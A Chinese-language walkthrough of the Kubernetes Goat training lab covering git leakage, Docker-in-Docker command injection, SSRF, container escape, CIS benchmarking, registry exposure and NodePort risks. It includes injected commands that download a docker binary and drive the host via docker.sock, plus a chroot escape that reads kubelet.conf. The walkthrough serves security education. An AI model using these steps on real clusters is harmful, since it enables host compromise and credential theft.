通过Kuberneters Goat学习K8S安全(上)
时间:2022-03-29
实验环境:
https://katacoda.com/madhuakula/scenarios/kubernetes-goat
0x1、敏感信息泄露利用
第一关是代码泄露利用,打开网站后显示:
告诉我们这是一个代码构建服务。
我们可以测试是否存在git
泄露
可以访问到git
的配置文件,然后可以尝试从网站转储 git
存储库
这里使用的工具是git-dumper:https://github.com/arthaud/git-dumper
用法如下:
git-dumper http://website.com/.git ~/website
它会自动遍历路径和获取代码。
等待获取完成,然后查看获取的仓库内容:
使用git log
可以查看代码提交的日志记录:
然后可以使用git checkout
检出特定的提交,比如有一个包含环境变量的提交,检出来看看,说不定有敏感的信息:
查看.env
文件:
还可以用另外一个工具trufflehog
对.git
目录进行分析:
产生漏洞的原因:开发人员提交代码的时候,将敏感信息也提交进去了。
0x2、Docker in Docker 利用
第二关是DIND (docker-in-docker) exploitation
描述:大多数使用Docker
并在管道构建容器的CI/CD
和管道系统都使用称为DIND(docker-in-docker)
的东西。简单来说就是在Docker
容器中调用和执行宿主机的Docker
。在此场景中,我们尝试利用并获得对宿主机系统的访问权限。
访问后的页面内容:
看起来像是存在命令注入漏洞,我们测试一下:
果不其然。
如果要利用docker in docker
进行逃逸,前提是在docker
容器运行的时候把docker.sock
套接字文件一并挂载到了容器中。当我们拿到容器权限又存在挂载的docker.sock
套接字文件,我们就可以通过 Docker Socket与宿主机的Docker
服务进行通信,我们可以通过它创建新的容器,并把宿主机的目录挂载到新创建的容器中,这样我们就能访问宿主机的资源了。
查看是否存在docker.sock
挂载
然后我们下载一个docker
可执行程序,注入如下命令:
;wget https://download.docker.com/linux/static/stable/x86_64/docker-19.03.9.tgz -O /tmp/docker-19.03.9.tgz
解压缩:
;tar -xvzf /tmp/docker-19.03.9.tgz -C /tmp/
然后就可以利用docker.sock
来访问宿主机系统并在宿主机上执行docker
命令
;/tmp/docker/docker -H unix:///custom/docker/docker.sock ps
;/tmp/docker/docker -H unix:///custom/docker/docker.sock images
0x3 SSRF漏洞
第三关是SSRF in K8S world
场景描述:SSRF
(服务器端请求伪造)漏洞是云原生环境的首选攻击方式。在此场景中,我们将学习如何利用应用程序中存在的SSRF
漏洞的来访问云实例元数据以及内部服务元数据信息。
访问应用页面:
这应该是一个内部API代理服务
我们尝试一下访问内部的服务,比如容器服务
可以看到内部有一个http://metadata-db
服务,访问看看
可以看到有一个latest
的路径,我们继续访问http://metadata-db/latest/
可以发现好几个路径,通过枚举尝试,最终在http://metadata-db/latest/secrets/kubernetes-goat
中发现了关键信息:
看起来像Base64
编码的字符串,解密看看:
0x4 容器逃逸到宿主系统(敏感目录挂载)
访问这一关的页面
是一个Linux shell
环境
场景描述
大多数监控、跟踪和调试软件需要以额外的权限和功能运行。在这个场景中,我们看到一个具有额外功能和权限(甚至包含HostPath)的Pod,它允许我们访问宿主机系统并提供节点级配置,这样会带来可以获取整个集群控制权限的危害。
查看当前环境的基本信息
可以发现当前用户权限是root
,系统是运行在docker
容器中。
查看挂载信息:
可以看到一个host-system
的挂载,像是直接挂载的宿主机分区。查看里面的内容:
看起来像是把宿主机完整的系统都挂载进来了。
那么我们可以用chroot
切换到宿主机的目录,获取对宿主机系统的权限访问
chroot /host-system bash
我们使用docker ps
查看宿主机运行的容器
我们的目的是控制整个Kubernetes
集群,查看Kubernets
节点级配置文件:
cat /etc/kubernetes/kubelet.conf
然后我们可以利用配置文件获取集群内的所有资源
kubectl --kubeconfig /etc/kubernetes/kubelet.conf get all -n kube-system
0x5 Docker CIS 安全基线分析
场景描述
该场景主要是在 Kubernetes
节点之上进行 Docker CIS
基准分析,以识别可能存在的安全漏洞。
首先需要部署docker bench security
将它启动为DaemonSet
kubectl apply -f scenarios/docker-bench-security/deployment.yaml
访问docker-bench-security-xxxxx pod
并执行Docker CIS
基线测试脚本。
controlplane $ kubectl exec -it docker-bench-security-5cq2h -- sh ~ # cd docker-bench-security/ ~/docker-bench-security # ./docker-bench-security.sh
如果有多个节点,就依次进入并执行。
然后,可以根据 Docker CIS
安全基线测试中看到的漏洞进行进一步的利用或修复。
0x6 Kubernetes CIS 安全基线分析
场景描述
本场景主要是在Kubernetes
节点之上进行Kubernetes CIS
基线分析,识别可能存在的安全漏洞。
首先,我们在节点上部署kube-bench security
为Kubernetes job
controlplane $ kubectl apply -f scenarios/kube-bench-security/node-job.yaml job.batch/kube-bench-node created controlplane $ kubectl apply -f scenarios/kube-bench-security/master-job.yaml job.batch/kube-bench-master created controlplane $
然后获取pod
信息和查看jobs
列表
查看kube-bench-node-xxxxx
pod 的日志
然后,可以根据 Kubernetes CIS
安全基线测试中看到的漏洞进行进一步的利用。
0x7 攻击私有仓库
场景描述
容器仓库是存储所有容器镜像的地方。大多数情况下,每个组织都有自己的私有仓库。有时候会因为配置错误,导致仓库处于公共/开放状态。另一方面来说,开发人员因为使用内部私有仓库,可能会在在容器镜像中存储一些敏感信息。
因为这里已经设置好了私有仓库的端口,我们直接访问即可,如果是实际的安全测试中,需要进行扫描或者信息收集来确定私有仓库的地址和端口。
https://2886795289-1235-simba09b.environments.katacoda.com/v2/
我们可以用一些API
来测试访问仓库的信息
API
文档参考:https://docs.docker.com/registry/spec/api/
https://2886795289-1235-simba09b.environments.katacoda.com/v2/_catalog //列出存储库
查看具体的仓库信息:
https://2886795289-1235-simba09b.environments.katacoda.com/v2/madhuakula/k8s-goat-users-repo/manifests/latest
经过审计,可以看到 docker
镜像信息中有 API
密钥信息和 ENV
变量等敏感信息泄露。
然后可以更进一步通过docker pull
将镜像下载到本地并进行分析。另外在某些情况下,甚至可以根据权限和特权将恶意的镜像推送到仓库。
0x8 NodePort 暴露风险
场景描述
NodePort
是Kubernetes
的三种外部访问方式之一。NodePort
服务是接通外部网络到你的服务的最原始方式。是指在所有节点上开放一个特定端口,任何发送到该端口的流量都被转发到对应服务。
如果用户使用 NodePort
暴露了 Kubernetes
集群内的任何服务,这意味着如果运行 Kubernetes
集群的节点没有启用任何防火墙/网络安全策略。一些未经身份验证和未经授权的服务会被暴露和利用。
获取Kubernetes
节点外部IP
地址列表,因为这里是实验测试环境的原因,所以 EXTERNAL-IP
显示为
kubectl get nodes -o wide
默认情况下,NodePort
的端口范围是30000-32767
。可以使用Nmap
等扫描工具进行扫描和服务识别。
访问对应的端口查看暴露的服务信息